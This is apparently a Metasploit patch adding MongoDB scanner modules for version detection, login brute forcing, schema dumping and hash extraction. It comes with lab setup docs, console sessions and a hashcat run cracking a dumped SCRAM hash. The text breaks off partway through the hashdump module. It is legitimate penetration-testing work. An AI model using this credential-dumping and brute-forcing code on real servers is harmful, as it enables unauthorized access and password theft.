From 0fdbf1c662a8e67ad7fc18042b83804ee28df5c8 Mon Sep 17 00:00:00 2001 From: Claude Date: Sun, 16 Aug 2026 09:24:31 +0000 Subject: [PATCH] Port and fix MongoDB scanner modules Ports and fixes the MongoDB auxiliary modules from rapid7/metasploit-framework#21785 (h00die): mongodb_version (new), mongodb_login (updated for SCRAM-SHA-1 / MongoDB 3.0+), and the new mongodb_schemadump and mongodb_hashdump modules. Fixes applied relative to the original PR: - 'Reliability' => [UNKNOWN_RELIABILITY] double-nested the constant (UNKNOWN_RELIABILITY is itself ['unknown-reliability']), which crashed the `info` command with "no implicit conversion of Array into String" in dump_traits. Changed to 'Reliability' => UNKNOWN_RELIABILITY in all four modules. - mongodb_version.rb defined a `parse_doc` helper that was never called; get_version duplicated the same BSON-parsing logic inline. - ~250 lines of identical build_cmd_packet/parse_doc/parse_docs/ parse_scram_payload/have_auth_error? code were copy-pasted across mongodb_login.rb and mongodb_hashdump.rb (with subsets duplicated in mongodb_version.rb and mongodb_schemadump.rb too). Extracted the wire-protocol primitives into a new Msf::Exploit::Remote::Mongodb mixin (lib/msf/core/exploit/remote/mongodb.rb); each module keeps its own auth-flow/reporting logic on top of it, since those differ enough (SCRAM step counts, whether creds get reported, return value semantics) that unifying them risked changing tested behavior. - Typo: "Sccuessfully tested" -> "Successfully tested" in mongodb_schemadump.rb's description. - mongodb_hashdump.rb stores credentials with jtr_format 'mongodb-scram-sha1'/'mongodb-scram-sha256', but neither format is registered in cracker.rb's jtr_format_to_hashcat_format table or crack_databases.rb's format list, so Metasploit's own analyze modules won't select them for cracking despite the hashes being correctly formatted for external hashcat use. Documented this limitation directly in the module description rather than attempting an unverified extension of the cracking pipeline. - Missing trailing newline in 3 of 4 documentation markdown files, which fails tools/dev/msftidy_docs.rb. Co-Authored-By: Claude Sonnet 5 Claude-Session: https://claude.ai/code/session_01CkE73M69GgryoXCXW9sTg7 --- .../scanner/mongodb/mongodb_hashdump.md | 160 +++++++ .../scanner/mongodb/mongodb_login.md | 148 +++++++ .../scanner/mongodb/mongodb_schemadump.md | 236 ++++++++++ .../scanner/mongodb/mongodb_version.md | 83 ++++ lib/msf/core/exploit/remote/mongodb.rb | 109 +++++ .../scanner/mongodb/mongodb_hashdump.rb | 405 ++++++++++++++++++ .../scanner/mongodb/mongodb_login.rb | 275 ++++++++---- .../scanner/mongodb/mongodb_schemadump.rb | 261 +++++++++++ .../scanner/mongodb/mongodb_version.rb | 87 ++++ 9 files changed, 1671 insertions(+), 93 deletions(-) create mode 100644 documentation/modules/auxiliary/scanner/mongodb/mongodb_hashdump.md create mode 100644 documentation/modules/auxiliary/scanner/mongodb/mongodb_login.md create mode 100644 documentation/modules/auxiliary/scanner/mongodb/mongodb_schemadump.md create mode 100644 documentation/modules/auxiliary/scanner/mongodb/mongodb_version.md create mode 100644 lib/msf/core/exploit/remote/mongodb.rb create mode 100644 modules/auxiliary/scanner/mongodb/mongodb_hashdump.rb create mode 100644 modules/auxiliary/scanner/mongodb/mongodb_schemadump.rb create mode 100644 modules/auxiliary/scanner/mongodb/mongodb_version.rb diff --git a/documentation/modules/auxiliary/scanner/mongodb/mongodb_hashdump.md b/documentation/modules/auxiliary/scanner/mongodb/mongodb_hashdump.md new file mode 100644 index 0000000000000..8ff2a3184e4fd --- /dev/null +++ b/documentation/modules/auxiliary/scanner/mongodb/mongodb_hashdump.md @@ -0,0 +1,160 @@ +## Vulnerable Application + +This module extracts password hashes from a MongoDB instance and stores +them in the database for later cracking. By default, it dumps system user +credentials from the 'system.users' collection. Alternatively, +it can dump application user hashes from a specified collection. + +Use Hashcat mode 24100 for SCRAM-SHA-1 and 24200 for SCRAM-SHA-256 +Successfully tested against MongoDB 3.6 with and without authentication + +### Docker Compose Setup + +#### init-mongo.js + +Write this file to `init-mongo.js` + +``` +// Switch to 'intranet' database +db = db.getSiblingDB('intranet'); + +// Create a non-root read/write user for testing +db.createUser({ + user: "testuser", + pwd: "testpass", + roles: [ + { role: "readWrite", db: "intranet" } + ] +}); + +// Create sample collection and documents +db.users.insertMany([ + { user: "admin", role: "administrator", email: "admin@corp.local" }, + { user: "jdoe", role: "developer", email: "jdoe@corp.local" } +]); + +db.config.insertMany([ + { key: "site_name", value: "Internal Portal", note: "Production config" } +]); +``` + +#### docker-compose.yml with OUT authentication + +``` +version: '3.8' + +services: + mongodb: + image: mongo:3.6 + container_name: mongodb_auth_test + ports: + - "27017:27017" + environment: + MONGO_INITDB_DATABASE: intranet + volumes: + - mongo_data:/data/db + - ./init-mongo.js:/docker-entrypoint-initdb.d/init-mongo.js:ro + +volumes: + mongo_data: +``` + +## Verification Steps + +1. Install the application +1. Start msfconsole +1. Do: `use auxiliary/scanner/mongodb/mongodb_hashdump` +1. Optionally Do: `set username ` +1. Optionally Do: `set password ` +1. Do: `set rhost [ip]` +1. Do: `run` +1. You should get a hash dump + +## Options + +### DB + +Database to query. Defaults to `admin` + +### COLLECTION + +Custom collection to dump (if empty, dumps system.users). Defaults to ``. + +### USER_FIELD + +Username field name for custom collection. Defaults to `username` + +### HASH_FIELD + +Hash field name for custom collection. Defaults to `hash` + +### USERNAME + +Username for authentication if required. Defaults to ``. + +### PASSWORD + +Password for authentication if required. Defaults to ``. + +## Scenarios + +### MongoDB 3.6 + +``` +msf > use auxiliary/scanner/mongodb/mongodb_hashdump +msf auxiliary(scanner/mongodb/mongodb_hashdump) > set rhosts 127.0.0.1 +rhosts => 127.0.0.1 +msf auxiliary(scanner/mongodb/mongodb_hashdump) > exploit +[*] 127.0.0.1:27017 - Connecting to 127.0.0.1... +[+] 127.0.0.1:27017 - No authentication required +[*] 127.0.0.1:27017 - Dumping MongoDB system users from admin.system.users... +[+] 127.0.0.1:27017 - +MongoDB System Hashes +===================== + +Type Username Hash +---- -------- ---- +db (SCRAM-SHA-1) admin $mongodb-scram$*0*YWRtaW4=*10000*1kvLnsfbYpJe0HcO/W7MLw==*NyPJ9yTYQcSRYcyC+8rCqvu9c4g= + +[*] 127.0.0.1:27017 - Scanned 1 of 1 hosts (100% complete) +[*] Auxiliary module execution completed +``` + +#### Cracking + +``` +$ hashcat /tmp/hashes.txt -m 24100 -a 0 /tmp/wordlist --potfile-disable +hashcat (v7.1.2) starting + +OpenCL API (OpenCL 3.0 PoCL 6.0+debian Linux, None+Asserts, RELOC, SPIR-V, LLVM 18.1.8, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project] +==================================================================================================================================================== +* Device #01: cpu-ivybridge-Intel(R) Xeon(R) CPU E5-2650 v2 @ 2.60GHz, 39240/78480 MB (16384 MB allocatable), 12MCU + +...clip... + +Approaching final keyspace - workload adjusted. + +$mongodb-scram$*0*YWRtaW4=*10000*1kvLnsfbYpJe0HcO/W7MLw==*NyPJ9yTYQcSRYcyC+8rCqvu9c4g=:adminpassword + +Session..........: hashcat +Status...........: Cracked +Hash.Mode........: 24100 (MongoDB ServerKey SCRAM-SHA-1) +Hash.Target......: $mongodb-scram$*0*YWRtaW4=*10000*1kvLnsfbYpJe0HcO/W...u9c4g= +Time.Started.....: Fri Aug 14 14:31:45 2026 (0 secs) +Time.Estimated...: Fri Aug 14 14:31:45 2026 (0 secs) +Kernel.Feature...: Pure Kernel (password length 0-256 bytes) +Guess.Base.......: File (/tmp/wordlist) +Guess.Queue......: 1/1 (100.00%) +Speed.#01........: 225 H/s (0.86ms) @ Accel:87 Loops:1000 Thr:1 Vec:8 +Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new) +Progress.........: 3/3 (100.00%) +Rejected.........: 0/3 (0.00%) +Restore.Point....: 0/3 (0.00%) +Restore.Sub.#01..: Salt:0 Amplifier:0-1 Iteration:9000-9999 +Candidate.Engine.: Device Generator +Candidates.#01...: admin -> password +Hardware.Mon.#01.: Util: 20% + +Started: Fri Aug 14 14:31:42 2026 +Stopped: Fri Aug 14 14:31:47 2026 +``` diff --git a/documentation/modules/auxiliary/scanner/mongodb/mongodb_login.md b/documentation/modules/auxiliary/scanner/mongodb/mongodb_login.md new file mode 100644 index 0000000000000..1ec1bc6238c60 --- /dev/null +++ b/documentation/modules/auxiliary/scanner/mongodb/mongodb_login.md @@ -0,0 +1,148 @@ +## Vulnerable Application + +This module attempts to brute force authentication credentials for MongoDB. +It supports both SCRAM-SHA-1 (MongoDB 3.0+) and falls back to legacy +MONGODB-CR authentication if SCRAM is unsupported by the target server. + +Successfully tested against MongoDB 3.6 with and without authentication + +### Docker Compose Setup + +#### init-mongo.js + +Write this file to `init-mongo.js` + +``` +// Switch to 'intranet' database +db = db.getSiblingDB('intranet'); + +// Create a non-root read/write user for testing +db.createUser({ + user: "testuser", + pwd: "testpass", + roles: [ + { role: "readWrite", db: "intranet" } + ] +}); + +// Create sample collection and documents +db.users.insertMany([ + { user: "admin", role: "administrator", email: "admin@corp.local" }, + { user: "jdoe", role: "developer", email: "jdoe@corp.local" } +]); + +db.config.insertMany([ + { key: "site_name", value: "Internal Portal", note: "Production config" } +]); +``` + +#### docker-compose.yml with authentication + +``` +version: '3.8' + +services: + mongodb: + image: mongo:3.6 + container_name: mongodb_auth_test + ports: + - "27017:27017" + environment: + MONGO_INITDB_ROOT_USERNAME: admin + MONGO_INITDB_ROOT_PASSWORD: adminpassword + MONGO_INITDB_DATABASE: intranet + volumes: + - mongo_data:/data/db + - ./init-mongo.js:/docker-entrypoint-initdb.d/init-mongo.js:ro + +volumes: + mongo_data: +``` + +#### docker-compose.yml with OUT authentication + +``` +version: '3.8' + +services: + mongodb: + image: mongo:3.6 + container_name: mongodb_auth_test + ports: + - "27017:27017" + environment: + MONGO_INITDB_DATABASE: intranet + volumes: + - mongo_data:/data/db + - ./init-mongo.js:/docker-entrypoint-initdb.d/init-mongo.js:ro + +volumes: + mongo_data: +``` + +## Verification Steps + +1. Install the application +1. Start msfconsole +1. Do: `use auxiliary/scanner/mongodb/mongodb_login` +1. Optionally Do: `set username ` +1. Optionally Do: `set password ` +1. Do: `set rhost [ip]` +1. Do: `run` +1. You should get a login + +## Options + +### DB_NAME + +Specific database to enumerate (leave blank for all). Defaults to `` + +### AUTH_DB + +Database to authenticate against. Defaults to `admin` + +### USERNAME + +Username for authentication. Defaults to `` + +### PASSWORD + +Password for authentication. Defaults to `` + +## Scenarios + +### MongoDB 3.6 with Authentication + +``` +msf > use auxiliary/scanner/mongodb/mongodb_login +msf auxiliary(scanner/mongodb/mongodb_login) > set rhosts 127.0.0.1 +rhosts => 127.0.0.1 +msf auxiliary(scanner/mongodb/mongodb_login) > set username admin +username => admin +msf auxiliary(scanner/mongodb/mongodb_login) > set password adminpassword +password => adminpassword +msf auxiliary(scanner/mongodb/mongodb_login) > set verbose true +verbose => true +msf auxiliary(scanner/mongodb/mongodb_login) > run +[*] 127.0.0.1:27017 - Scanning IP: 127.0.0.1 +[*] 127.0.0.1:27017 - 127.0.0.1:27017 - Mongo server (version 3.6.23) requires authentication +[*] 127.0.0.1:27017 - Trying user: admin, password: adminpassword +[+] 127.0.0.1:27017 - 127.0.0.1 - SUCCESSFUL LOGIN 'admin' : 'adminpassword' (SCRAM-SHA-1) +[*] 127.0.0.1:27017 - Scanned 1 of 1 hosts (100% complete) +[*] Auxiliary module execution completed +``` + +### MongoDB 3.6 with NO Authentication + +``` +msf > use auxiliary/scanner/mongodb/mongodb_login +msf auxiliary(scanner/mongodb/mongodb_login) > set rhosts 127.0.0.1 +rhosts => 127.0.0.1 +msf auxiliary(scanner/mongodb/mongodb_login) > set verbose true +verbose => true +msf auxiliary(scanner/mongodb/mongodb_login) > run +[*] 127.0.0.1:27017 - Scanning IP: 127.0.0.1 +[+] 127.0.0.1:27017 - Mongo server 127.0.0.1 (version 3.6.23) doesn't use authentication +[*] 127.0.0.1:27017 - Scanned 1 of 1 hosts (100% complete) +[*] Auxiliary module execution completed +``` diff --git a/documentation/modules/auxiliary/scanner/mongodb/mongodb_schemadump.md b/documentation/modules/auxiliary/scanner/mongodb/mongodb_schemadump.md new file mode 100644 index 0000000000000..c2e9247825644 --- /dev/null +++ b/documentation/modules/auxiliary/scanner/mongodb/mongodb_schemadump.md @@ -0,0 +1,236 @@ +## Vulnerable Application + +This module connects to an unauthenticated or authenticated MongoDB instance, +authenticates using SCRAM-SHA-1 if credentials are provided, enumerates +databases and collections via wire protocol, samples documents, and dumps +the inferred schema structure. + +Successfully tested against MongoDB 3.6 with and without authentication + +### Docker Compose Setup + +#### init-mongo.js + +Write this file to `init-mongo.js` + +``` +// Switch to 'intranet' database +db = db.getSiblingDB('intranet'); + +// Create a non-root read/write user for testing +db.createUser({ + user: "testuser", + pwd: "testpass", + roles: [ + { role: "readWrite", db: "intranet" } + ] +}); + +// Create sample collection and documents +db.users.insertMany([ + { user: "admin", role: "administrator", email: "admin@corp.local" }, + { user: "jdoe", role: "developer", email: "jdoe@corp.local" } +]); + +db.config.insertMany([ + { key: "site_name", value: "Internal Portal", note: "Production config" } +]); +``` + +#### docker-compose.yml with authentication + +``` +version: '3.8' + +services: + mongodb: + image: mongo:3.6 + container_name: mongodb_auth_test + ports: + - "27017:27017" + environment: + MONGO_INITDB_ROOT_USERNAME: admin + MONGO_INITDB_ROOT_PASSWORD: adminpassword + MONGO_INITDB_DATABASE: intranet + volumes: + - mongo_data:/data/db + - ./init-mongo.js:/docker-entrypoint-initdb.d/init-mongo.js:ro + +volumes: + mongo_data: +``` + +#### docker-compose.yml with OUT authentication + +``` +version: '3.8' + +services: + mongodb: + image: mongo:3.6 + container_name: mongodb_auth_test + ports: + - "27017:27017" + environment: + MONGO_INITDB_DATABASE: intranet + volumes: + - mongo_data:/data/db + - ./init-mongo.js:/docker-entrypoint-initdb.d/init-mongo.js:ro + +volumes: + mongo_data: +``` + +## Verification Steps + +1. Install the application +1. Start msfconsole +1. Do: `use auxiliary/scanner/mongodb/mongodb_schemadump` +1. Optionally Do: `set username ` +1. Optionally Do: `set password ` +1. Do: `set rhost [ip]` +1. Do: `run` +1. You should get a schema dump + +## Options + +### DB_NAME + +Specific database to enumerate (leave blank for all). Defaults to `` + +### AUTH_DB + +Database to authenticate against. Defaults to `admin` + +### USERNAME + +Username for authentication. Defaults to `` + +### PASSWORD + +Password for authentication. Defaults to `` + +### SAMPLE_SIZE + +Number of sample documents to inspect per collection for schema mapping. Defaults to `5` + +## Scenarios + +### MongoDB 3.6 with Authentication + +``` +msf > use auxiliary/scanner/mongodb/mongodb_schemadump +msf auxiliary(scanner/mongodb/mongodb_schemadump) > set rhosts 127.0.0.1 +rhosts => 127.0.0.1 +msf auxiliary(scanner/mongodb/mongodb_schemadump) > set username admin +username => admin +msf auxiliary(scanner/mongodb/mongodb_schemadump) > set password adminpassword +password => adminpassword +msf auxiliary(scanner/mongodb/mongodb_schemadump) > exploit +[*] 127.0.0.1:27017 - Connected to MongoDB wire protocol +[+] 127.0.0.1:27017 - Authenticated successfully as 'admin' on 'admin' +[+] 127.0.0.1:27017 - Found Databases: admin, config, intranet, local +[*] 127.0.0.1:27017 - DB 'admin' Collections: system.users, system.version +[*] 127.0.0.1:27017 - DB 'config' Collections: system.sessions +[*] 127.0.0.1:27017 - DB 'intranet' Collections: users, config +[*] 127.0.0.1:27017 - DB 'local' Collections: startup_log +[+] 127.0.0.1:27017 - Schema dumped to loot: /home/h00die/.msf4/loot/20260814091146_default_127.0.0.1_mongodb.schema_850455.json +[*] 127.0.0.1:27017 - Scanned 1 of 1 hosts (100% complete) +[*] Auxiliary module execution completed +``` + +### MongoDB 3.6 with NO Authentication + +``` +msf > use auxiliary/scanner/mongodb/mongodb_schemadump +msf auxiliary(scanner/mongodb/mongodb_schemadump) > set rhosts 127.0.0.1 +rhosts => 127.0.0.1 +msf auxiliary(scanner/mongodb/mongodb_schemadump) > set verbose true +verbose => true +msf auxiliary(scanner/mongodb/mongodb_schemadump) > exploit +[*] 127.0.0.1:27017 - Connected to MongoDB wire protocol +[+] 127.0.0.1:27017 - Authenticated successfully as 'admin' on 'admin' +[*] 127.0.0.1:27017 - Post-auth listDatabases reply: {"databases"=>[{"name"=>"admin", "sizeOnDisk"=>81920.0, "empty"=>false}, {"name"=>"config", "sizeOnDisk"=>12288.0, "empty"=>false}, {"name"=>"intranet", "sizeOnDisk"=>65536.0, "empty"=>false}, {"name"=>"local", "sizeOnDisk"=>65536.0, "empty"=>false}], "totalSize"=>225280.0, "ok"=>1.0} +[+] 127.0.0.1:27017 - Found Databases: admin, config, intranet, local +[*] 127.0.0.1:27017 - DB 'admin' Collections: system.users, system.version +[+] 127.0.0.1:27017 - Schema for admin.system.users: + - _id (String) + - userId (Binary) + - user (String) + - db (String) + - credentials (Document) + - credentials.SCRAM-SHA-1 (Document) + - credentials.SCRAM-SHA-1.iterationCount (Integer) + - credentials.SCRAM-SHA-1.salt (String) + - credentials.SCRAM-SHA-1.storedKey (String) + - credentials.SCRAM-SHA-1.serverKey (String) + - roles (Array) +[+] 127.0.0.1:27017 - Schema for admin.system.version: + - _id (String) + - version (String) + - currentVersion (Integer) +[*] 127.0.0.1:27017 - DB 'config' Collections: system.sessions +[*] 127.0.0.1:27017 - Collection config.system.sessions is empty or returned no fields. +[*] 127.0.0.1:27017 - DB 'intranet' Collections: users, config +[+] 127.0.0.1:27017 - Schema for intranet.users: + - _id (ObjectId) + - user (String) + - role (String) + - email (String) +[+] 127.0.0.1:27017 - Schema for intranet.config: + - _id (ObjectId) + - key (String) + - value (String) + - note (String) +[*] 127.0.0.1:27017 - DB 'local' Collections: startup_log +[+] 127.0.0.1:27017 - Schema for local.startup_log: + - _id (String) + - hostname (String) + - startTime (Time) + - startTimeLocal (String) + - cmdLine (Document) + - cmdLine.net (Document) + - cmdLine.net.bindIp (String) + - cmdLine.net.port (Integer) + - cmdLine.net.ssl (Document) + - cmdLine.net.ssl.mode (String) + - cmdLine.processManagement (Document) + - cmdLine.processManagement.fork (TrueClass) + - cmdLine.processManagement.pidFilePath (String) + - cmdLine.systemLog (Document) + - cmdLine.systemLog.destination (String) + - cmdLine.systemLog.logAppend (TrueClass) + - cmdLine.systemLog.path (String) + - pid (Integer) + - buildinfo (Document) + - buildinfo.version (String) + - buildinfo.gitVersion (String) + - buildinfo.modules (Array) + - buildinfo.allocator (String) + - buildinfo.javascriptEngine (String) + - buildinfo.sysInfo (String) + - buildinfo.versionArray (Array) + - buildinfo.openssl (Document) + - buildinfo.openssl.running (String) + - buildinfo.openssl.compiled (String) + - buildinfo.buildEnvironment (Document) + - buildinfo.buildEnvironment.distmod (String) + - buildinfo.buildEnvironment.distarch (String) + - buildinfo.buildEnvironment.cc (String) + - buildinfo.buildEnvironment.ccflags (String) + - buildinfo.buildEnvironment.cxx (String) + - buildinfo.buildEnvironment.cxxflags (String) + - buildinfo.buildEnvironment.linkflags (String) + - buildinfo.buildEnvironment.target_arch (String) + - buildinfo.buildEnvironment.target_os (String) + - buildinfo.bits (Integer) + - buildinfo.debug (FalseClass) + - buildinfo.maxBsonObjectSize (Integer) + - buildinfo.storageEngines (Array) + - cmdLine.net.bindIpAll (TrueClass) + - cmdLine.security (Document) + - cmdLine.security.authorization (String) +[+] 127.0.0.1:27017 - Schema dumped to loot: /home/h00die/.msf4/loot/20260814093115_default_127.0.0.1_mongodb.schema_973313.json +[*] 127.0.0.1:27017 - Scanned 1 of 1 hosts (100% complete) +[*] Auxiliary module execution completed +``` diff --git a/documentation/modules/auxiliary/scanner/mongodb/mongodb_version.md b/documentation/modules/auxiliary/scanner/mongodb/mongodb_version.md new file mode 100644 index 0000000000000..4b1097f180a48 --- /dev/null +++ b/documentation/modules/auxiliary/scanner/mongodb/mongodb_version.md @@ -0,0 +1,83 @@ +## Vulnerable Application + +This module connects to a MongoDB instance and retrieves the server version +using the buildInfo command. No authentication is required for this command. + +Tested against MongoDB 3.6.23 + +### Docker Compose Setup + +#### init-mongo.js + +Write this file to `init-mongo.js` + +``` +// Switch to 'intranet' database +db = db.getSiblingDB('intranet'); + +// Create a non-root read/write user for testing +db.createUser({ + user: "testuser", + pwd: "testpass", + roles: [ + { role: "readWrite", db: "intranet" } + ] +}); + +// Create sample collection and documents +db.users.insertMany([ + { user: "admin", role: "administrator", email: "admin@corp.local" }, + { user: "jdoe", role: "developer", email: "jdoe@corp.local" } +]); + +db.config.insertMany([ + { key: "site_name", value: "Internal Portal", note: "Production config" } +]); +``` + +#### docker-compose.yml with OUT authentication + +``` +version: '3.8' + +services: + mongodb: + image: mongo:3.6 + container_name: mongodb_auth_test + ports: + - "27017:27017" + environment: + MONGO_INITDB_DATABASE: intranet + volumes: + - mongo_data:/data/db + - ./init-mongo.js:/docker-entrypoint-initdb.d/init-mongo.js:ro + +volumes: + mongo_data: +``` + +## Verification Steps + +1. Install the application +1. Start msfconsole +1. Do: `use auxiliary/scanner/mongodb/mongodb_version` +1. Do: `set rhost [ip]` +1. Do: `run` +1. You should get a version back + +## Options + +## Scenarios + +### MongoDB 3.6 with NO Authentication + +``` +msf > use auxiliary/scanner/mongodb/mongodb_version +msf auxiliary(scanner/mongodb/mongodb_version) > set rhosts 127.0.0.1 +rhosts => 127.0.0.1 +msf auxiliary(scanner/mongodb/mongodb_version) > run +[*] 127.0.0.1:27017 - Connecting to 127.0.0.1:27017... +[+] 127.0.0.1:27017 - 127.0.0.1:27017 - MongoDB version: 3.6.23 +[*] 127.0.0.1:27017 - Scanned 1 of 1 hosts (100% complete) +[*] Auxiliary module execution completed +``` diff --git a/lib/msf/core/exploit/remote/mongodb.rb b/lib/msf/core/exploit/remote/mongodb.rb new file mode 100644 index 0000000000000..ce6dc5f088523 --- /dev/null +++ b/lib/msf/core/exploit/remote/mongodb.rb @@ -0,0 +1,109 @@ +# -*- coding: binary -*- + +module Msf + # This mixin provides the low-level MongoDB wire protocol helpers (OP_QUERY + # packet construction and BSON reply parsing) shared by the MongoDB + # auxiliary scanner modules. It intentionally stays at the wire-protocol + # level -- higher-level behavior such as authentication flows and + # credential reporting differs enough between modules (SCRAM step counts, + # whether creds get reported, return value semantics) that unifying it + # here would risk changing tested behavior, so each module keeps its own + # auth/report logic built on top of these primitives. + module Exploit::Remote::Mongodb + include Msf::Exploit::Remote::Tcp + + # Builds a MongoDB wire protocol OP_QUERY message. + # + # @param coll_name [String] fully qualified namespace, e.g. "admin.$cmd" + # @param bson_payload [String] the BSON-encoded command/query document + # @param number_to_return [Integer] OP_QUERY numberToReturn field + # @return [String] the raw wire protocol message bytes + def mongodb_build_packet(coll_name, bson_payload, number_to_return: 1) + coll_str = "#{coll_name}\x00" + req_id = Rex::Text.rand_text(4) + msg_len = 16 + 4 + coll_str.length + 4 + 4 + bson_payload.length + + packet = [msg_len].pack('V') + packet << req_id # requestID + packet << "\x00\x00\x00\x00" # responseTo: 0 + packet << "\xd4\x07\x00\x00" # opCode: 2004 (OP_QUERY) + packet << "\x00\x00\x00\x00" # flags + packet << coll_str # fullCollectionName + packet << "\x00\x00\x00\x00" # numberToSkip: 0 + packet << [number_to_return].pack('V') # numberToReturn + packet << bson_payload + packet + end + + # Parses the single BSON reply document from a raw OP_REPLY response. + # + # @param response [String, nil] raw bytes read from the socket + # @return [BSON::Document, nil] + def mongodb_parse_doc(response) + return nil if response.nil? || response.length <= 36 + + buffer = BSON::ByteBuffer.new(response[36..]) + BSON::Document.from_bson(buffer) + rescue StandardError + nil + end + + # Parses every BSON document present in a raw OP_REPLY response body. + # + # @param response [String, nil] raw bytes read from the socket + # @return [Array] + def mongodb_parse_docs(response) + return [] if response.nil? || response.length <= 36 + + data = response[36..] + return [] if data.nil? || data.empty? + + docs = [] + offset = 0 + + while offset < data.length + break if offset + 4 > data.length + + doc_len = data[offset, 4].unpack1('V') + break if doc_len.nil? || doc_len <= 0 || (offset + doc_len) > data.length + + buffer = BSON::ByteBuffer.new(data[offset, doc_len]) + docs << BSON::Document.from_bson(buffer) + offset += doc_len + end + + docs + rescue StandardError => e + vprint_error("BSON parse error: #{e.message}") + [] + end + + # Parses a SCRAM `key=value,key=value` wire payload into a Hash. + # + # @param payload [String] + # @return [Hash] + def mongodb_parse_scram_payload(payload) + payload.split(',').each_with_object({}) do |var, hash| + k, v = var.split('=', 2) + hash[k] = v if k && v + end + end + + # @param response [String, nil] + # @return [Boolean] true if the response indicates the command failed due + # to a missing/invalid authentication context + def mongodb_have_auth_error?(response) + return true if response.nil? || response.length <= 36 + + doc = mongodb_parse_doc(response) + if doc + return true if doc['ok'].to_i == 0 || doc['errmsg'] + else + documents = response[36..] + return documents.include?('errmsg') || documents.include?('unauthorized') || documents.include?('requires authentication') + end + + false + end + end +end diff --git a/modules/auxiliary/scanner/mongodb/mongodb_hashdump.rb b/modules/auxiliary/scanner/mongodb/mongodb_hashdump.rb new file mode 100644 index 0000000000000..773dae13e0466 --- /dev/null +++ b/modules/auxiliary/scanner/mongodb/mongodb_hashdump.rb @@ -0,0 +1,405 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'bson' +require 'openssl' +require 'digest' +require 'base64' + +class MetasploitModule < Msf::Auxiliary + include Msf::Exploit::Remote::Mongodb + include Msf::Auxiliary::Report + include Msf::Auxiliary::Scanner + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'MongoDB Hash Extractor', + 'Description' => %q{ + This module extracts password hashes from a MongoDB instance and stores + them in the database for later cracking. By default, it dumps system user + credentials from the 'system.users' collection. Alternatively, + it can dump application user hashes from a specified collection. + + The dumped SCRAM hashes are formatted for Hashcat mode 24100 (SCRAM-SHA-1) + and 24200 (SCRAM-SHA-256), but are not yet wired into Metasploit's + auxiliary/analyze cracking modules -- use hashcat directly against the + exported hash, or 'creds -o' to export it, for now. + Successfully tested against MongoDB 3.6 with and without authentication + }, + 'References' => [ + [ 'URL', 'https://docs.mongodb.com/manual/reference/mongodb-wire-protocol/' ], + [ 'URL', 'https://github.com/mongodb/specifications/blob/master/source/auth/auth.rst/' ], + [ 'URL', 'https://hashcat.net/wiki/doku.php?id=example_hashes' ] + ], + 'Author' => [ + 'h00die', + ], + 'License' => MSF_LICENSE, + 'Notes' => { + 'Reliability' => UNKNOWN_RELIABILITY, + 'Stability' => [CRASH_SAFE], + 'SideEffects' => [IOC_IN_LOGS] + } + ) + ) + + register_options( + [ + Opt::RPORT(27017), + OptString.new('DB', [ true, 'Database to query', 'admin']), + OptString.new('COLLECTION', [ false, 'Custom collection to dump (if empty, dumps system.users)', '']), + OptString.new('USER_FIELD', [ false, 'Username field name for custom collection', 'username']), + OptString.new('HASH_FIELD', [ false, 'Hash field name for custom collection', 'hash']), + OptString.new('USERNAME', [ false, 'Username for authentication if required', '']), + OptString.new('PASSWORD', [ false, 'Password for authentication if required', '']) + ] + ) + end + + def run_host(ip) + print_status("Connecting to #{ip}...") + begin + connect + + if require_auth? + user = datastore['USERNAME'] + pass = datastore['PASSWORD'] + if user.blank? || pass.blank? + print_error('Authentication required but no USERNAME/PASSWORD provided') + return + end + + print_status("Authentication required, attempting login as '#{user}'...") + if do_login(user, pass) != :success + print_error('Login failed') + return + end + print_good('Successfully authenticated') + else + print_good('No authentication required') + end + + if datastore['COLLECTION'].blank? + dump_system_users + else + dump_app_users + end + rescue StandardError => e + print_error("Unable to connect: #{e}") + ensure + disconnect + end + end + + def dump_system_users + db = datastore['DB'] + print_status("Dumping MongoDB system users from #{db}.system.users...") + + cmd = BSON::Document.new({}) + pkt = mongodb_build_packet("#{db}.system.users", cmd.to_bson.to_s, number_to_return: -1) + + sock.put(pkt) + resp = sock.get_once(-1, 10) + + docs = mongodb_parse_docs(resp) + + if docs.empty? + print_warning('No users found or unable to parse') + return + end + + tbl = Rex::Text::Table.new( + 'Header' => 'MongoDB System Hashes', + 'Columns' => ['Type', 'Username', 'Hash'] + ) + + service_data = { + address: ::Rex::Socket.getaddress(rhost, true), + port: rport, + service_name: 'mongodb', + protocol: 'tcp', + workspace_id: myworkspace_id + } + + docs.each do |doc| + user = doc['user'] + creds = doc['credentials'] || {} + + # SCRAM-SHA-1 (Hashcat 24100) + if creds['SCRAM-SHA-1'] + s1 = creds['SCRAM-SHA-1'] + b64_user = Base64.strict_encode64(user) + hash = "$mongodb-scram$*0*#{b64_user}*#{s1['iterationCount']}*#{s1['salt']}*#{s1['serverKey']}" + tbl << ['db (SCRAM-SHA-1)', user, hash] + + store_hash_credential(service_data, user, hash, 'mongodb-scram-sha1') + end + + # SCRAM-SHA-256 (Hashcat 24200) + if creds['SCRAM-SHA-256'] + s256 = creds['SCRAM-SHA-256'] + b64_user = Base64.strict_encode64(user) + hash = "$mongodb-scram$*1*#{b64_user}*#{s256['iterationCount']}*#{s256['salt']}*#{s256['serverKey']}" + tbl << ['db (SCRAM-SHA-256)', user, hash] + + store_hash_credential(service_data, user, hash, 'mongodb-scram-sha256') + end + + # MONGODB-CR Legacy (Plain MD5) + next unless doc['pwd'] && !creds.key?('SCRAM-SHA-1') && !creds.key?('SCRAM-SHA-256') + + hash = doc['pwd'] + tbl << ['db (MONGODB-CR)', user, hash] + + store_hash_credential(service_data, user, hash, 'md5') + end + + print_good("\n#{tbl}") + end + + def dump_app_users + coll = datastore['COLLECTION'] + user_field = datastore['USER_FIELD'] + hash_field = datastore['HASH_FIELD'] + db = datastore['DB'] + + print_status("Dumping app hashes from #{db}.#{coll} (Field: #{user_field}:#{hash_field})...") + + cmd = BSON::Document.new({ + hash_field => { '$exists' => true, '$ne' => '' } + }) + pkt = mongodb_build_packet("#{db}.#{coll}", cmd.to_bson.to_s, number_to_return: -1) + + sock.put(pkt) + resp = sock.get_once(-1, 10) + + docs = mongodb_parse_docs(resp) + + if docs.empty? + print_warning('No users found or unable to parse') + return + end + + tbl = Rex::Text::Table.new( + 'Header' => 'MongoDB Application Hashes', + 